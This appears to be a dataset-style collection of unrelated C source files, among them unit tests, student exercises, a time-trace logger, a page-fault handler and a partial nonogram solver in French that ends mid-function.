munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
return MUNIT_OK;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_place_piece_left_right.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: nle-bret <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/03/22 21:15:12 by nle-bret #+# #+# */
/* Updated: 2016/03/22 21:15:14 by nle-bret ### ########.fr */
/* */
/* ************************************************************************** */
#include "filler.h"
void ft_place_piece_top_left(t_app *app)
{
int x;
int y;
int y_max;
int x_max;
y_max = app->board.y;
x_max = app->board.x;
x = 0;
while (x < x_max)
{
y = 0;
while (y < y_max)
{
if (ft_is_valid_pos(app, y, x))
{
ft_print(y, x);
return ;
}
y++;
}
x++;
}
app->play = 0;
}
void ft_place_piece_top_right(t_app *app)
{
int y;
int x_max;
int y_max;
y_max = app->board.y;
x_max = app->board.x;
while (x_max--)
{
y = 0;
while (y < y_max)
{
if (ft_is_valid_pos(app, y, x_max))
{
ft_print(y, x_max);
return ;
}
y++;
}
}
app->play = 0;
}
void ft_place_piece_bot_left(t_app *app)
{
int x;
int y_max;
int x_max;
x_max = app->board.x;
x = 0;
while (x < x_max)
{
y_max = app->board.y;
while (y_max--)
{
if (ft_is_valid_pos(app, y_max, x))
{
ft_print(y_max, x);
return ;
}
}
x++;
}
app->play = 0;
}
void ft_place_piece_bot_right(t_app *app)
{
int x_max;
int y_max;
x_max = app->board.x;
while (x_max--)
{
y_max = app->board.y;
while (y_max--)
{
if (ft_is_valid_pos(app, y_max, x_max))
{
ft_print(y_max, x_max);
return ;
}
}
}
app->play = 0;
}
|
C
|
/* Copyright (c) 2017 Stanford University
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR(S) DISCLAIM ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL AUTHORS BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include "timeTrace.h"
#include <errno.h>
#include <stdint.h>
#include <sys/time.h>
#include <string.h>
#include <stdlib.h>
/*================================= Globals ================================= */
/* Global vars */
// Determines the number of events we can retain as an exponent of 2
//#define BUFFER_SIZE_EXP 16
// Total number of events that we can retain any given time.
//#define BUFFER_SIZE (1 << 16)
#define BUFFER_SIZE (1 << 13)
// Bit mask used to implement a circular event buffer
#define BUFFER_MASK() (BUFFER_SIZE - 1)
// Index within events of the slot to use for the next call to the
// record method.
int nextIndex;
/**
* This structure holds one entry in the TimeTrace.
*/
struct Event {
uint64_t timestamp; // Time when a particular event occurred.
const char* format; // Format string describing the event.
// NULL means that this entry is unused.
int arg0; // Argument that may be referenced by format
// when printing out this event.
int arg1; // Argument that may be referenced by format
// when printing out this event.
int arg2; // Argument that may be referenced by format
// when printing out this event.
int arg3; // Argument that may be referenced by format
// when printing out this event.
};
// Holds information from the most recent calls to the record method.
struct Event events[BUFFER_SIZE] = {{ 0 }};
double cyclesPerSec = 0;
/*================================= Functions =============================== */
void init() {
if (cyclesPerSec != 0)
return;
// Compute the frequency of the fine-grained CPU timer: to do this,
// take parallel time readings using both rdtsc and gettimeofday.
// After 10ms have elapsed, take the ratio between these readings.
struct timeval startTime, stopTime;
uint64_t startCycles, stopCycles, micros;
double oldCycles;
// There is one tricky aspect, which is that we could get interrupted
// between calling gettimeofday and reading the cycle counter, in which
// case we won't have corresponding readings. To handle this (unlikely)
// case, compute the overall result repeatedly, and wait until we get
// two successive calculations that are within 0.1% of each other.
oldCycles = 0;
while (1) {
if (gettimeofday(&startTime, NULL) != 0) {
fprintf(stderr, "Cycles::init couldn't read clock: %s", strerror(errno));
fflush(stderr);
exit(1);
}
startCycles = rdtsc();
while (1) {
if (gettimeofday(&stopTime, NULL) != 0) {
fprintf(stderr, "Cycles::init couldn't read clock: %s",
strerror(errno));
fflush(stderr);
exit(1);
}
stopCycles = rdtsc();
micros = (stopTime.tv_usec - startTime.tv_usec) +
(stopTime.tv_sec - startTime.tv_sec)*1000000;
if (micros > 10000) {
cyclesPerSec = (double)(stopCycles - startCycles);
cyclesPerSec = 1000000.0*cyclesPerSec/
(double)(micros);
break;
}
}
double delta = cyclesPerSec/1000.0;
if ((oldCycles > (cyclesPerSec - delta)) &&
(oldCycles < (cyclesPerSec + delta))) {
return;
}
oldCycles = cyclesPerSec;
}
}
double toSeconds(uint64_t cycles)
{
if (cyclesPerSec == 0) init();
return ((double)(cycles))/cyclesPerSec;
}
void recordWithTime(uint64_t timestamp, const char* format,
uint32_t arg0, uint32_t arg1, uint32_t arg2, uint32_t arg3) {
struct Event* event = &events[nextIndex];
nextIndex = (nextIndex + 1) & BUFFER_MASK();
event->timestamp = timestamp;
event->format = format;
event->arg0 = arg0;
event->arg1 = arg1;
event->arg2 = arg2;
event->arg3 = arg3;
}
void
printTrace(const char *filename)
{
uint8_t printedAnything = 0;
// reader start?
// Initialize file for writing
FILE* output = filename ? fopen(filename, "a") : stdout;
// Holds the index of the next event to consider from each trace.
int current;
// Find the first (oldest) event in each trace. This will be events[0]
// if we never completely filled the buffer, otherwise events[nextIndex+1].
// This means we don't print the entry at nextIndex; this is convenient
// because it simplifies boundary conditions in the code below.
int index = (nextIndex + 1) % BUFFER_SIZE;
if (events[index].format != NULL) {
current = index;
} else {
current = 0;
}
// Decide on the time of the first event to be included in the output.
// This is most recent of the oldest times in all the traces (an empty
// trace has an "oldest time" of 0). The idea here is to make sure
// that there's no missing data in what we print (if trace A goes back
// farther than trace B, skip the older events in trace A, since there
// might have been related events that were once in trace B but have since
// been overwritten).
uint64_t startTime = 0;
startTime = events[current].timestamp;
// Each iteration through this loop processes one event (the one with
// the earliest timestamp).
double prevTime = 0.0;
while (1) {
if (current == nextIndex || events[current].format == NULL) {
// Don't have any more events to process.
break;
}
printedAnything = 1;
struct Event* event = &events[current];
current = (current + 1) & BUFFER_MASK();
char message[1000];
double ns = toSeconds(event->timestamp - startTime) * 1e09;
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wformat-nonliteral"
snprintf(message, sizeof(message), event->format, event->arg0,
event->arg1, event->arg2, event->arg3);
#pragma GCC diagnostic pop
fprintf(output, "%8.1f ns (+%6.1f ns): %s", ns, ns - prevTime,
message);
fputc('\n', output);
prevTime = ns;
}
if (!printedAnything) {
fprintf(output, "No time trace events to print");
}
if (output && output != stdout)
fclose(output);
}
|
C
|
#include<stdio.h>
#include<conio.h>
int main()
{
int t,i,count;
long long int a,b;
scanf("%d",&t);
for(i=0;i<t;i++)
{
count=0;
scanf("%lld %lld",&a,&b);
if(a==b)
{ printf("%d\n",count);}
else
{
while((a&(a-1))!=0)
{ if(a%2==0)
{
count++;
a=a/2;
}
else
{
count++;
a=(a-1)/2;
}
}
if(a<=b)
{
while(a!=b)
{ count++;
a=2*a;
}
printf("%d\n",count);
}
else
{
while(a!=b)
{ count++;
a=a/2;
}
printf("%d\n",count);
}
}}
getch();
return 0;
}
|
C
|
// BWOTSHEWCHB
#include <stdio.h>
#include <math.h>
int main() {
int x1 , y1 , x2 , y2 , x3 , y3 ;
double midX , midY ;
scanf("%d%d%d%d%d%d" , &x1 , &y1 , &x2 , &y2 , &x3 , &y3) ;
midX = (x1 + x3) / 2.0 , midY = (y1 + y3) / 2.0 ;
double dx1 = fabs(midX - x1) , dx2 = fabs(midX - x2) , dy1 = fabs(midY - y1) , dy2 = fabs(midY - y2) ;
// printf("%lf %lf // %lf %lf\n" , fabs(midX - x1) , fabs(midX - x2) , fabs(midY - y1) , fabs(midY - y2)) ;
if ( dx1 * dx1 + dy1 * dy1 == dx2 * dx2 + dy2 * dy2 )
printf("%d %d\n" , x1 + x3 - x2 , y1 + y3 - y2) ;
else
printf("Not Possible\n") ;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include "rand55.h"
long Seed=161803398L;
Lnk_List_Ptr Ran, n1, n2;
#ifdef INLINE
inline
#endif
double rand55() {
n1 = n1->next;
n2 = n2->next;
n1->Y += n2->Y;
return (double)n1->Y * Norm_Factor ;
}
void rand_init(long idum) {
int i, j;
long tmp, aux;
double null;
if((Ran = (Lnk_List_Ptr)calloc(55, sizeof(struct Lnk_List))) == NULL)
exit(1);
for(i = 0;i < 54; ++i) {
(Ran + i)->next = Ran + i + 1;
}
(Ran+54)->next = Ran;
tmp = Seed + idum;
Ran[54].Y = tmp;
aux = 1;
j = 20;
for(i = 0; i < 54; ++i, j += 21) {
j %= 55;
Ran[j].Y = aux;
aux += tmp;
tmp = Ran[j].Y;
}
n1 = Ran;
n2 = Ran + 31;
for(j = 0; j < 55*4; ++j) {
null += rand55();
}
fprintf(stderr,"Rand55 initialized - chksum=%f\n", null);
}
|
C
|
#include<stdio.h>
#pragma warning(disable:4996)
int main() {
int a, b;
char c[3];
char d[3];
scanf("%s %s", c, d);
a = (c[0]-'0') + (c[1]-'0') * 10 + (c[2]-'0') * 100;
b = (d[0]-'0') + (d[1]-'0') * 10 +( d[2]-'0') * 100;
if (a > b) {
printf("%d\n", a);
}
else if (b > a) {
printf("%d\n", b);
}
return 0;
}
|
C
|
#include "page.h"
#include "asm.h"
#include "memory.h"
#include "task.h"
#include "string.h"
#include "lib/log.h"
#include "fs/file.h"
#include "mem/frame.h"
static void on_page_not_exist(vm_t linear, pt_t pt, int npte);
void
on_page_fault(IrqFrame *irq)
{
vm_t linear = (vm_t)PAGE_FLOOR(get_cr2());
KLOG(DEBUG, "%s, CR2: 0x%x", "on_page_fault", get_cr2());
pt_t pt = get_pt(linear);
int npte = get_pte_index(linear);
if (pt[npte] & PAGE_PRESENT)
vm_fork_page(linear);
else
on_page_not_exist(linear, pt, npte);
invlpg(linear);
}
static void
on_page_not_exist(vm_t linear, pt_t pt, int npte)
{
Task* ts = current_task();
int fd = FD_MASK(PAGE_MARK(pt[npte]) >> 1);
int offset = PAGE_FLOOR(pt[npte]);
KLOG(DEBUG, "on_page_not_exist %d", fd);
VFile *vf = ts->ts_filps[fd];
if (vf != NULL)
{
vm_alloc_page(linear);
file_read(vf->f_inode, offset, (void *)PAGE_FLOOR(linear), PAGE_SIZE);
}
else
{
KLOG(ERROR, "page not exist error 0x%x", pt[npte]);
}
}
|
C
|
#include <stdio.h>
#define NUM 3
struct person
{
char name[20];
char phone[10];
}; //Ҫӷֺŵ
void main()
{
struct person man[NUM]; //ṹ
int i;
for (i=0 ; i<=NUM ; i++)
{
printf("please input name:\n");
gets(man[i].name); //ṹԪػȡ
printf("please input phone:\n");
gets(man[i].phone);
}
printf("\tname\t\t\t\tphone\n\n");
for (i=0 ; i<NUM ; i++)
{
printf("%20s\t\t\t\t%20s\n",man[i].name,man[i].phone);
}
}
|
C
|
// For base code, see http://stackoverflow.com/questions/18591758/sdl2-tilemap-too-slow
/*
Conventions:
Externally visible variables and functions are prefix by the filename
in which they are implemented. For example, window_init() is defined
in window.c.
Other than the prfix for globally visible identifiers, variable and
function names are in lowerCamelCase.
Type names are in UpperCamelCase.
Use tabs for indentation.
*/
#include "global.h"
void window_init();
extern SDL_Window * window_window;
void screen_init();
void screen_update();
bool input_process();
bool main_running = true;
static void init() {
srand(SEED);
window_init();
screen_init();
}
static void loop() {
Uint32 updateStartTime;
Uint32 updateElapsedTime;
while (main_running) {
updateStartTime = SDL_GetTicks();
if (!input_process()) {
main_running = false;
break;
}
screen_update();
updateElapsedTime = SDL_GetTicks() - updateStartTime;
if (updateElapsedTime < MILLIS_PER_UPDATE) {
SDL_Delay(MILLIS_PER_UPDATE - updateElapsedTime);
} else {
puts("Frame deadline missed.");
SDL_Delay(1);
}
}
}
static void shutdown() {
SDL_DestroyWindow(window_window);
SDL_Quit();
}
int main(int argc, char * argv[]) {
init();
loop();
shutdown();
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main() {
long squaresum = 0, sumtosquare = 0;
for (int i=1; i<=100; i++) {
squaresum += i*i;
sumtosquare += i;
}
printf("Final Result: %ld\n", sumtosquare*sumtosquare - squaresum);
return 0;
}
|
C
|
#include <stdio.h>
int main(void){
int i, nums[5], total = 0;
printf("Input the first number: ");
scanf("%d", &nums[0]);
printf("Input the second number: ");
scanf("%d", &nums[1]);
printf("Input the thirdnumber: ");
scanf("%d", &nums[2]);
printf("Input the fourth number: ");
scanf("%d", &nums[3]);
printf("Input the fifth number: ");
scanf("%d", &nums[4]);
for (i = 0; i < 5; i++){
if((nums[i]% 2) != 0)
{
total += nums[i];
}
}
printf("Sum of all odd numbers: %d", total);
return 0;
}
|
C
|
/*
* This file contains teh expression calculator function eval.
*/
#include <stdio.h>
#include "calc.h"
/**
* Given an operator, this function will perform the
* operation, using the top two numbers on the operatnd stack.
**/
void eval()
{
printf("Entered eval\n");
}
|
C
|
#include<stdio.h>
int esPerfecto(int n);
int main()
{
int i, resultado;
printf("\n*****NUMEROS PERFECTOS***** \n");
for (i=1;i<=100;i++)
{
resultado = esPerfecto(i);
if (resultado == 1)
printf(" %d Es un numero perfecto \n",i);
}
return 0;
}
int esPerfecto(int numero)
{
int i, suma;
suma = 0;
for (i=1;i<numero;i++)
{
if (numero%i==0)
suma=suma+i;
}
if(suma == numero)
return 1;
else
return 0;
}
|
C
|
#include "holberton.h"
/**
* print_triangle - make a triangule.
*
* @size: parameter.
*/
void print_triangle(int size)
{
int numl, esp, nume;
if (size <= 0)
{
_putchar('\n');
}
else
{
numl = 1;
while (numl <= size)
{
esp = 1;
while (esp <= (size - numl))
{
_putchar(' ');
esp++;
}
nume = 1;
while (nume <= numl)
{
_putchar('#');
nume++;
}
numl++;
_putchar('\n');
}
}
}
|
C
|
#ifndef clock_h
#define clock_h
#include "timer.h"
static long timer0_count = 0;
void on_timer0()
{
++timer0_count;
}
void clock_begin()
{
timer0.init();
timer0.tcnt_val = 0;
timer0.slot = on_timer0;
timer0.reset();
}
#define clock clock_ms
long clock_ms()
{
long passed = long(timer0.tcnt) * (1024 * (1. / (F_CPU / 1000)));
passed += timer0_count * 0xff * (1024 * (1. / (F_CPU / 1000)));
return passed;
}
long clock_us()
{
long passed = long(timer0.tcnt) * (1024 * (1. / (F_CPU / 1000000)));
passed += timer0_count * 0xff * (1024 * (1. / (F_CPU / 1000000)));
return passed;
}
#endif
|
C
|
#include<stdio.h>
main()
{
int num,temp,sum=0;
printf("enter the num:");
scanf("%d",&num);
temp=num;
while(num)
{
sum=sum+((num%10)*(num%10)*(num%10));
num=num/10;
}
if(sum==temp)
printf("amsrong no\n");
else
printf("wrong\n");
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
void strings(FILE *f) {
int length = 1024;
char buff[4], str[length], current = 0;
buff[3] = '\0';
str[length - 1] = '\0';
while (fgets(str, length, f) != NULL) {
int i;
for (i = 0; str[i] != '\0'; ++i) {
char c = str[i];
if ((c < 32 && c != '\t') || c > 126) {
if (current > 3) {
putchar('\n');
}
current = 0;
} else {
if (current < 3) {
buff[current] = c;
current = (current + 1) % 4;
} else if (current == 3) {
fputs(buff, stdout);
putchar(c);
current += 1;
} else {
putchar(c);
}
}
}
}
}
int main(int argc, char *argv[]) {
if (argc < 2) {
strings(stdin);
} else {
int i;
for (i = 1; i < argc; ++i) {
FILE *f = fopen(argv[i], "r");
if (f != NULL) {
strings(f);
fclose(f);
} else {
perror(argv[i]);
}
}
}
return 0;
}
|
C
|
// Name - Mananpreet Singh Chhatwal
// Entry Number - 2020CSZ0008
#include <stdio.h>
// Question
// (2) Write a C function to count and print the number of 1-bits in its integer argument. Again your program should
// ask the user to enter an integer number. Your program should run correctly regardless of the machine. Hint: The
// given integer can be a negative number as well. The C programming language uses 2’s complement to represent an integer.
int main(void) {
int input;
int answer = 0;
printf("Enter integer number \n");
scanf("%d", &input);
for (int i = 0 ; i < sizeof(int) * 8; i++) {
if(input & 1) {
answer++;
}
// We are shifting bits by one position.
input >>= 1;
}
printf("Number of 1 bits = %d \n",answer);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a, b, c, min, ukp, usteda;
printf("Uneti cene\n");
scanf("%d %d %d", &a, &b, &c);
min=a;
if (b<min)
{
min=b;
}
if (c<min)
{
min=c;
}
ukp=a+b+c-min+1;
printf("Ukupno %d\n Usteda %d\n", ukp, min-1);
return 0;
}
|
C
|
//EXEC_CNT is a global variable counting how many times an x position has been selected
//PX1 and PX2 are pointers to global variables that store the x positions recorded
//Globals are initialized in controlbar
#include "fitgaussian.c"
#include "myglobals.h"
using namespace std;
void exec4()
{
//if(*PEXEC_CNT == 0) {
if (!gPad) {
Error("exec2", "gPad is null, you are not supposed to run this macro");
return;
}
int event = gPad->GetEvent();
if (event != 11) return;
int px = gPad->GetEventX();
TH1* h;
TIter iter(gPad->GetListOfPrimitives());
while(TObject *obj = iter.Next()) {
if(obj->InheritsFrom(TH1::Class())) {
h = (TH1*)obj;
float xx = gPad->AbsPixeltoX(px);
float x = gPad->PadtoX(xx);
int binx = h->GetXaxis()->FindBin(x);
printf("event=%d, hist:%s, bin=%d, content=%f\n",event,h->GetName(),binx,h->GetBinContent(binx));
PX2 = PX1;
PX1 = h->GetXaxis()->GetBinCenter(binx);
//*PEXEC_CNT = 1 + *PEXEC_CNT;
break;
}
}
if(PX1==PX1 && PX2==PX2) {
if(PX1>PX2) swap(PX1,PX2);
//gROOT->ProcessLine(Form(".x fitgaussian.c(%f,%f)",PX1,PX2));
//gROOT->ProcessLine(".L fitgaussian.c");
fitgaussian(h, PX1, PX2);
std::cout << "Made it" << endl;
PX1 = sqrt(-1);
PX2 = sqrt(-1);
}
return;
/*
TObject *select = gPad->GetSelected();
if (!select) return;
if (select->InheritsFrom(TH1::Class())) {
TH1 *h = (TH1*)select;
float xx = gPad->AbsPixeltoX(px);
float x = gPad->PadtoX(xx);
int binx = h->GetXaxis()->FindBin(x);
printf("event=%d, hist:%s, bin=%d, content=%f\n",event,h->GetName(),binx,h->GetBinContent(binx));
*PX1 = binx;
*PEXEC_CNT = 1 + *PEXEC_CNT;
}
} else if(*PEXEC_CNT == 1) {
if (!gPad) {
Error("exec2", "gPad is null, you are not supposed to run this macro");
return;
}
int event = gPad->GetEvent();
if (event != 11) return;
int px = gPad->GetEventX();
TObject *select = gPad->GetSelected();
if (!select) return;
if (select->InheritsFrom(TH1::Class())) {
TH1 *h = (TH1*)select;
float xx = gPad->AbsPixeltoX(px);
float x = gPad->PadtoX(xx);
int binx = h->GetXaxis()->FindBin(x);
printf("event=%d, hist:%s, bin=%d, content=%f\n",event,h->GetName(),binx,h->GetBinContent(binx));
*PX2 = binx;
*PEXEC_CNT = 1 + *PEXEC_CNT;
}
}
else if(*PEXEC_CNT == 2)
{
//Convert bins to hist. Every 62.5 bins is 1 unit on the canvas, on which the his is
//bins [100,900] and units [-8,8]
float x1_true, x2_true;
x1_true = (*PX1/61.5)-8;
x2_true = (*PX2/61.5)-8;
gROOT->ProcessLine(Form(".x fitgaussian.c(%f,%f)",std::min(x1_true,x2_true),std::max(x1_true,x2_true)));
*PEXEC_CNT = 1 + *PEXEC_CNT;
}
*/
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include "structure.h"
int box_blanc(ligne m_ligne, liste ind_ligne, int longueur_ligne, liste *L_modif) //renvoie 1 quand fini
{
int i=0;//compteur de cases sur la ligne
int k=0;//compteur de cases noires sur la ligne
int s=0;//somme des indices=nombre total de cases noires à placer sur la ligne
liste L=ind_ligne;//copie de ind_ligne
//calcul de s:
while (L!=NULL)
{
s=s+L->info;
L=L->succ;
}
//calcul du nombre de cases noires déjà présentes sur la ligne
while (i<longueur_ligne)
{
if (m_ligne[i]==noir)
{
k++;
}
i++;
}
//si toutes les cases noires sont présentes, on complète avec du blanc
if (k>s) return 0;
else if (k==s)
{
for (i=0;i<longueur_ligne;i++)
{
if (m_ligne[i]==gris)
{
m_ligne[i]=blanc;
*L_modif=ajouterEnTete(*L_modif,i);
}
}
}
return 1;//ligneSolution(ligne m_ligne, liste ind_lignes, int longueur_ligne);
}
int bord_box_blanc(ligne L, liste ind_ligne, int taille, liste *L_modif)
{
int i=0,j=0, premier_ind=0, dernier_ind=0;
liste M;
M=ind_ligne;
premier_ind=M->info;
while ((M->succ)!=NULL)
{
M=M->succ;
}
dernier_ind=M->info;
while ((i<taille-1) && (L[i]==blanc))
/*On part du bord gauche de la ligne et on avance tant qu'on croise des box blanches*/
{
i++;
}
/*Si la box qui suit est noire, alors c'est le premier indice forcément*/
if (L[i]==noir)
{
i++; //Pour ne pas colorier la box noire encore en noir
j=premier_ind-1;
while (j>0)
{
if (L[i]==blanc)
{
return 0;
}
//Pas la peine de recolorier une case noire
else if (L[i]==gris)
{
L[i]=noir;
*L_modif=ajouterEnTete(*L_modif,i);
}
i++;
j--;
}
/*Une box blanche viendra forcément clore le premier indice*/
if (L[i]==noir)
{
return 0;
}
else if (L[i]==gris)
{
L[i]=blanc;
*L_modif=ajouterEnTete(*L_modif,i);
}
}
/*De même pour le bord droit*/
i=taille-1;
while ((i>0)&&(L[i]==blanc))
/*On part du bord droit de la ligne et on recule tant qu'on croise des box blanches*/
{
i--;
}
/*Si la box qui suit est noire, alors c'est le dernier indice forcément*/
if (L[i]==noir)
{
i--;//Pour ne pas colorier la box noire encore en noir.
j=dernier_ind-1;
while (j>0)
{
if (L[i]==blanc)
{
return 0;
}
//Pas la peine de recolorier une case noire
else if (L[i]==gris)
{
L[i]=noir;
*L_modif=ajouterEnTete(*L_modif,i);
}
i--;
j--;
}
/*Une box blanche viendra forcément clore le dernier indice*/
if (L[i]==noir)
{
return 0;
}
else if (L[i]==gris)
{
L[i]=blanc;
*L_modif=ajouterEnTete(*L_modif,i);
}
}
return 1;
}
int minimal_box_blanc(ligne L, liste ind_ligne, int longueur, liste *L_modif)
{
/*************************/
int min, i=0, j=0, k=0, temoin=0;
liste M;
M=ind_ligne;
min=elementMin(M);
/*************************/
//Pour toute case, (hormis les 2 dernières qui n'ont pas d'intérêt pour cette méthode)
for (i=0; i<longueur-1; i++)
{
temoin=0;
if (L[i]==blanc)
{
j=i+1;
while ((L[j]==gris)||(L[j]==noir))
{
if (L[j]==noir) temoin=1;
j++;
}
/*Si toutes les cases sont grises entre deux blanches et que le plus petit indice ne rentre pas
alors on peut tout colorier en blanc*/
if ((j-i-1)<min)
{
if (temoin) return 0;
i++;
for (k=i;k<j;k++)
{
L[k]=blanc;
*L_modif=ajouterEnTete(*L_modif,k);
}
}
}
}
return 1;
}
//CASE MINMAX
int derniereCaseGauche(int depart, int indice, box *grille, int taille) /* fonction qui renvoie la position de la derniere case d'un bloc le plus à gauche possible
depart est la valeure de la case ou on démarre le test, indice la taille du bloc cherche, et grille, la ligne teste, taille est la taille de la ligne*/
{
int act; /* la valeure de la case actuelle*/
// int i; /*un simple compteur*/
act=depart;
while ((act-depart+1<indice)&&(act<taille)) /*je parcours les cases de la grille pour savoir ou s'arrete mon bloc*/
{
if (grille[act]==noir) /* si la case est noire le bloc est forcément autour*/
{
act=depart+indice-1;
}
else if (grille[act]==blanc) /* si elle est blanche, le bloc est forcément après*/
{
act++;
depart=act;
}
else act++; /* si elle est grise, je me contente d'avancer d'une case*/
}
if (act>=taille) /* si act depasse la taille c'est qu'il n'y a pas de solution donc je signale une erreure*/
{
return -1;
}
/*je verfifie qu'il n'y ai pas de case blanche au milieu s'il y en a je renvoie -1 pour signaler une erreure*/
while ((act+1<taille)&&(grille[act+1]==noir)) /* pour être sur de ne pas renvoyer un bloc complet collee a une case noire, ce qui serait impossible*/
{
act++;
}
return act;
}
int premiereCaseDroite(int depart, int indice, box *grille) /* pareil que plus haut, mais à l'envers*/
{
int act;
// int i;
act=depart;
while ((depart-act+1<indice)&&(act>=0))
{
if (grille[act]==noir)
{
act=depart-indice+1;
}
else if (grille[act]==blanc)
{
act--;
depart=act;
}
else act--;
}
if (act<0)
{
return -1;
}
while ((act>=0)&&(grille[act-1]==noir))
{
act--;
}
return act;
}
int coloriage(liste derCaseGauche, liste premCaseDroite, box *grille, liste *modif) /* changer des listes des places extremes en case noire sur la grille*/
{
int i;
while (derCaseGauche!=NULL) /* je parcours les listes */
{
if (premCaseDroite->info<=derCaseGauche->info) /* si q.info est plus petit ou egal ca veut dire que les deux possitions extreme se chevauchent, il faut donc colorier en noir*/
{
for (i=premCaseDroite->info;i<=derCaseGauche->info;i++) /* pour aller de la position la plus à gauche à celle la plus a droite*/
{
if (grille[i]==gris) //!!!!!!! /* si la case est blanche, je renvoie une erreure, sinon je colorie*/
{
grille[i]=noir;
*modif=ajouterEnFin(*modif,i);
}
else if (grille[i]==noir)
{
}
else return -1;
}
}
derCaseGauche=derCaseGauche->succ; /* je passe au bloc suivant*/
premCaseDroite=premCaseDroite->succ;
}
return 0;
}
int caseMinMax(liste indice, box *grille, int taille, liste *modif) //renvoie 0 si erreur
{
int act;
/* pour avoir la case actuelle*/
liste derCaseGauche, premCaseDroite; /* pour stocker les résultats des fonctions premiere case la plus a droite et derniere case la plus a gauche*/
liste p,q;
derCaseGauche=premCaseDroite=NULL; /* pour parcourir la liste indice*/
p=indice;
q=NULL;
act=0;
while (p!=NULL) /* pour remplir ma liste derCaseGauche*/
{
act=derniereCaseGauche(act,p->info,grille,taille);
if (act==-1) /* si ma fonction a retourne -1 c'est qu'il y a une erreur, donc je la retransmet*/
{
return 0;
}
derCaseGauche=ajouterEnFin(derCaseGauche,act);
act+=2;
q=ajouterEnTete(q,p->info); /*je retourne la liste pour la parcourir à l'envers dans la deuxième partie */
p=p->succ; /* je decale sur la droite pour tenir compte de la case blanche entre les blocs*/
}
act=taille-1;
while (q!=NULL) /* pour remplir ma liste preCaseDroite*/
{
act=premiereCaseDroite(act,q->info,grille);
